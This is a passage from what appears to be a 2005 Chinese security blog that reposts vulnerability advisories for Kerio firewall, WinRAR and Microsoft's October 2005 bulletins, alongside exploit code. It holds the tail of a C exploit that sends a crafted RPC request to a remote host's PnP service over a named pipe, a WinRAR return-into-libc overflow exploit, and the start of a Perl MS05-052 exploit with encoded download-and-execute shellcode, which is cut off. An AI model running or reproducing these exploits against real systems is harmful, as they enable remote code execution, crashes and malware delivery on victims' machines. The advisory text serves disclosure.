0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x00,0x00,0x00,0x08,0x00,0x00,0x01,0x00,0x00,0x00
};


int main(int argc, char* argv[])
{
char szServerName[MAX_PATH];char szPipe[MAX_PATH];
HANDLE hFile;
NETRESOURCE nr;

if (argc < 2){
printf("[-] Usage: %s <host>\n", argv[0]);
return -1;
}

if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
printf("[-] Host name %s is too long !\n");
return -1;
}

printf("[+] Start connect host %s ... \n", argv[1]);
wsprintf( szServerName, "\\\\%s\\pipe", argv[1] );
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = szServerName;
nr.lpProvider = NULL;
if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
printf("[-] Connect to host %s failed !\n", argv[1]);
return -1;
}

_snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser", argv[1]);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);

if ( hFile == INVALID_HANDLE_VALUE ) {
printf("[-] Open name pipe %s failed !\n", szPipe);
return -1;
}

unsigned char szOutBuffer[0X1000];
unsigned long nBytesRead;

printf("[+] Start bind RPC interface ... \n");
// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !\n");
CloseHandle(hFile);
return -1;
}

// send rpc request to call PNP_GetDeviceList (opnum 10)
printf("[+] Start send RPC request ... \n");
if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !\n");
CloseHandle(hFile);
return -1;
}
printf("[+] Attack host %s complete !\n", argv[1]);
return 0;
}

- 作者: 斯拉普计算机小组 2005年10月28日, 星期五 14:42  回复(1) |  引用(3) 加入博采

Kerio个人防火墙和服务器防火墙本地拒绝服务漏洞
Kerio个人防火墙和服务器防火墙本地拒绝服务漏洞

受影响系统:
Kerio Personal Firewall 4.2
Kerio ServerFirewall 1.1.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 15094

Kerio个人防火墙和服务器防火墙都是简单易用的防火墙产品。

Kerio防火墙系统中的核心部分FWDRV驱动监控所有试图连接到Internet的程序。在执行必须的检查时,FWDRV如下解析进程环境块(PEB):

    ;----------SNIP--------------------------------------------
    .text:0041C04E  mov     ecx, [ebp+var_4]  ; ECX = PEB base
    .text:0041C051  mov     edx, [ecx+0Ch]    ; EDX = PEB_LDR_DATA
    ;----------SNIP--------------------------------------------

但是在解析PEB时FWDRV没有检查内存是否可以访问,也就是说如果攻击者可以对PEB设置PAGE_NOACCESS或PAGE_GUARD保护,就会导致异常,机器会蓝屏死机。

<*来源:Piotr Bania (bania.piotr@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l= ... 21807429118&w=2
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Kerio
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kerio.com/

- 作者: 斯拉普计算机小组 2005年10月28日, 星期五 14:37  回复(1) |  引用(3) 加入博采

微软发布十月安全公告 九个漏洞中三个为严重
北京时间2005年10月12日凌晨,微软发布10月安全公告,具体公告摘要如下。用户现在可以直接登陆微软Update进行升级。

在这9个安全漏洞中,按严重程度将这些漏洞分为 严重 (3) :

公告标识符:Microsoft 安全公告 MS05-050
公告标题:DirectShow 中的漏洞可能允许远程执行代码 (904706)
摘要:DirectShow 中存在一个漏洞,允许攻击者完全控制受影响的系统。
最高严重等级:严重
漏洞的影响:远程执行代码
受影响的软件:Windows、DirectX。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-051
公告标题:MSDTC 和 COM+ 中的漏洞可能允许远程执行代码 (902400)
摘要:MSDC 和 COM+ 中存在一个漏洞,允许攻击者完全控制受影响的系统。
最高严重等级:严重
漏洞的影响:远程执行代码
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-052
公告标题:Internet Explorer 的累积性安全更新 (896688)
摘要:Internet Explorer 中存在一个漏洞,允许攻击者完全控制受影响的系统。
最高严重等级:严重
漏洞的影响:远程执行代码
受影响的软件:Windows、Internet Explorer。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

在这9个安全漏洞中,按严重程度将这些漏洞分为 重要 (4) :

公告标识符:Microsoft 安全公告 MS05-046
公告标题:NetWare 客户端服务中的漏洞可能允许远程执行码 (899589)
摘要:NetWare 客户端服务中存在一个漏洞,允许攻击者完全控制受影响的系统。 默认情况下,Microsoft Windows 上没有安装 NetWare 客户端服务。
最高严重等级:重要
漏洞的影响:远程执行代码
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-047
公告标题:即插即用中的漏洞可能允许远程执行代码和特权提升 (905749)
摘要:即插即用 (PnP) 中存在一个漏洞,允许攻击者完全控制受影响的系统。 攻击者必须拥有有效的登录凭据并能本地登录才能利用此漏洞。
最高严重等级:重要
漏洞的影响:远程执行代码
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-048
公告标题:Microsoft 协作对象中的漏洞可能允许远程执行代码 (907245)
摘要:Microsoft 协作数据对象中存在一个漏洞,成功利用此漏洞的攻击者可以完全控制受影响的系统。 在默认的配置中,Windows 和 Exchange 中的 SMTP 服务不容易受到攻击。
最高严重等级:重要
漏洞的影响:远程执行代码
受影响的软件:Windows、Exchange。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-049
公告标题:Windows Shell 中的漏洞可能允许远程执行代码 (900725)
摘要:Windows 中存在的漏洞能够使攻击者完全控制受影响的系统。 需要进行用户交互,攻击者才能利用此漏洞。
最高严重等级:重要
漏洞的影响:远程执行代码
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

在这9个安全漏洞中,按严重程度将这些漏洞分为 中等 (2) :

公告标识符:Microsoft 安全公告 MS05-044
公告标题:Windows FTP 客户端中的漏洞可能允许篡改文件传输位置 (905495)
摘要:Windows FTP 客户端中存在一个篡改漏洞,可能允许攻击者修改文件传输的目标位置。 需要进行用户交互,攻击者才能利用此漏洞。
最高严重等级:中等
漏洞的影响:篡改
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

公告标识符:Microsoft 安全公告 MS05-045
公告标题:网络连接管理器中的漏洞可能允许拒绝服务 (905414)
摘要:网络连接管理器中存在一个漏洞,可能允许攻击者导致负责管理网络和远程访问连接的组件停止响应。 攻击者必须拥有有效的登录凭据才能利用此漏洞。
最高严重等级:中等
漏洞的影响:拒绝服务
受影响的软件:Windows。 有关详细信息,请参阅“受影响的软件和下载位置”部分。

软件更新服务:

通过使用 Microsoft 软件更新服务 (SUS),管理员可以在基于 Windows 2000 和 Windows Server 2003 的服务器以及运行 Windows 2000 Professional 或 Windows XP Professional 的台式机系统上快速而可靠地部署最新的关键更新和安全更新。

有关如何使用软件更新服务部署此安全更新的详细信息,请访问软件更新服务网站。

Windows Server 更新服务:

通过使用 Windows Server 更新服务 (WSUS),管理员可以快速而可靠地将 Windows 2000 操作系统和更高版本、Office XP 和更高版本、Exchange Server 2003 以及 SQL Server 2000 的最新关键更新和安全更新部署到 Windows 2000 和更高版本的操作系统。

有关如何使用 Windows Server 更新服务部署此安全更新的详细信息,请访问 Windows Server 更新服务网站。

Systems Management Server:

Microsoft Systems Management Server (SMS) 提供了一个用于管理更新且可高度配置的企业解决方案。 通过使用 SMS,管理员可以确定需要安全更新的基于 Windows 的系统,并在整个企业中以可控制的方式执行这些更新的部署,而对最终用户造成的干扰最少。 有关管理员如何使用 SMS 2003 来部署安全更新的详细信息,请参阅 SMS 2003 安全修补程序管理网站。 SMS 2.0 用户还可以使用软件更新服务功能包帮助部署安全更新。 有关 SMS 的信息,请访问 SMS 网站。

注意 SMS 使用 Microsoft 基准安全分析器和 Microsoft Office 检测工具,提供对安全公告更新检测和部署的广泛支持。 这些工具可能检测不到某些软件更新。 在这些情况下,管理员可以使用 SMS 的清单功能将更新部署到特定系统上。 有关此过程的详细信息,请参阅以下网站。 某些安全更新在重新启动系统后可能需要管理权限。 管理员可以使用提升权限部署工具(在 SMS 2003 管理功能包和 SMS 2.0 管理功能包中提供)来安装这些更新。

QChain.exe 和 Update.exe:

Microsoft 已发布了一个名为 QChain.exe 的命令行工具,系统管理员可使用它将安全更新安全地链接在一起。 “链接”是指您在安装多个更新时,在两个安装之间不需要重新启动。此通报中描述的更新所使用的 Update.exe 内置了链接功能。使用 Windows 2000 Service Pack 2 或更高版本、Windows XP 或 Windows Server 2003 的用户不需要使用 Qchain.exe 来链接这些更新。Qchain.exe 仍支持将这些 Windows 更新链接在一起,以使管理员在所有平台上创建一致的部署脚本。 有关 Qchain 的详细信息,请访问此网站。

Microsoft 基准安全分析器:

管理员可使用 Microsoft 基准安全分析器 (MBSA),在本地和远程系统中扫描缺少的安全更新和常见的安全配置错误。 有关 MBSA 的详细信息,请访问 Microsoft 基准安全分析器网站。

- 作者: 斯拉普计算机小组 2005年10月28日, 星期五 14:36  回复(1) |  引用(3) 加入博采

RARLAB WinRAR命令行处理溢出漏洞
RARLAB WinRAR命令行处理溢出漏洞

发布日期:2005-10-18
更新日期:2005-10-18

受影响系统:
RARLAB WinRar 3.50
RARLAB WinRar 3.42
RARLAB WinRar 3.41
RARLAB WinRar 3.40
RARLAB WinRar 3.20
RARLAB WinRar 3.11
RARLAB WinRar 3.10 beta 5
RARLAB WinRar 3.10 beta 3
RARLAB WinRar 3.10
RARLAB WinRar 3.0.0
RARLAB WinRar 3.0
RARLAB WinRar 2.90
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 15123

WinRar是非常流行的压缩/解压工具。

WinRar对命令行的处理存在溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。

由于在将用户提供的字符串拷贝到静态进程缓冲区之前没有正确的验证其长度,RARLAB WinRAR在处理命令行时存在远程客户端溢出漏洞。

<*来源:edward11 (edward11@postmaster.co.uk
  
  链接:http://marc.theaimsgroup.com/?l= ... 58942110272&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main ( int argc, char *argv[] )
{
   long sys_addr  = 0x77C18044; // winxp sp0 targets...
   long exit_addr = 0x77C27ADC;
   long cmd_addr  = 0x77C01335;

   char buf[3000];
   char cmd[3000];
   
   if ( argc < 2 )
   {
   printf("\n * 0xLeTzDanCe - WinRAR <= 3.50 local exploit ENG version  *\n * * \
usage: 0xletzdance.ex <path_to_RAR>\n\n");  exit(0);
   }

   memset(buf, 0x00, 3000);
   memset(cmd, 0x00, 3000);

   memset(buf, 0x55, 516);

   *(long*)&buf[strlen(buf)]  = sys_addr;
   *(long *)&buf[strlen(buf)] = exit_addr;
   *(long *)&buf[strlen(buf)] = cmd_addr;

   sprintf(cmd, "%s %s", argv[1], buf);
   system(cmd);

}

建议:
--------------------------------------------------------------------------------
厂商补丁:

RARLAB
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.rarlabs.com

- 作者: 斯拉普计算机小组 2005年10月28日, 星期五 14:35  回复(1) |  引用(3) 加入博采

ms05052远程执行任意代码修改版
 ms05052远程执行任意代码修改版

MS05-052:微软Internet Explorer 累积性安全更新
漏洞的影响: 远程执行代码
最高严重等级: 严重

受影响的软件:
• Microsoft Windows 2000 Service Pack 4
• Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
• Microsoft Windows XP Professional x64 Edition
• Microsoft Windows Server 2003 和 Microsoft Windows Server 2003 Service Pack 1
• Microsoft Windows Server 2003(用于基于 Itanium 的系统)和 Microsoft Windows Server 2003 Service Pack 1(用于基于 Itanium 的系统)
• Microsoft Windows Server 2003 x64 Edition
• Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE)、Microsoft Windows Millennium Edition (ME)
CODE:  [Copy to clipboard]
#! /usr/bin/perl
use strict;
use Socket;
my $download_shell="\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x66\x6D\x21\x75\xF4".
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26".
"\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14".
"\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E".
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48".
"\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB".
"\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65".
"\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17".
"\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10".
"\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1".
"\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED".
"\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13".
"\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17".
"\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17".
"\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8".
"\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE".
"\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17".
"\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17".
"\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40".
"\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8".
"\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17".
"\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17".
"\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1".
"\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7".
"\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92".
"\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A".
"\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40".
"\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50".
"\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B".
"\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65".
"\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72".
"\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B".
"\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E".
"\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72".
"\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56".
"\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65".
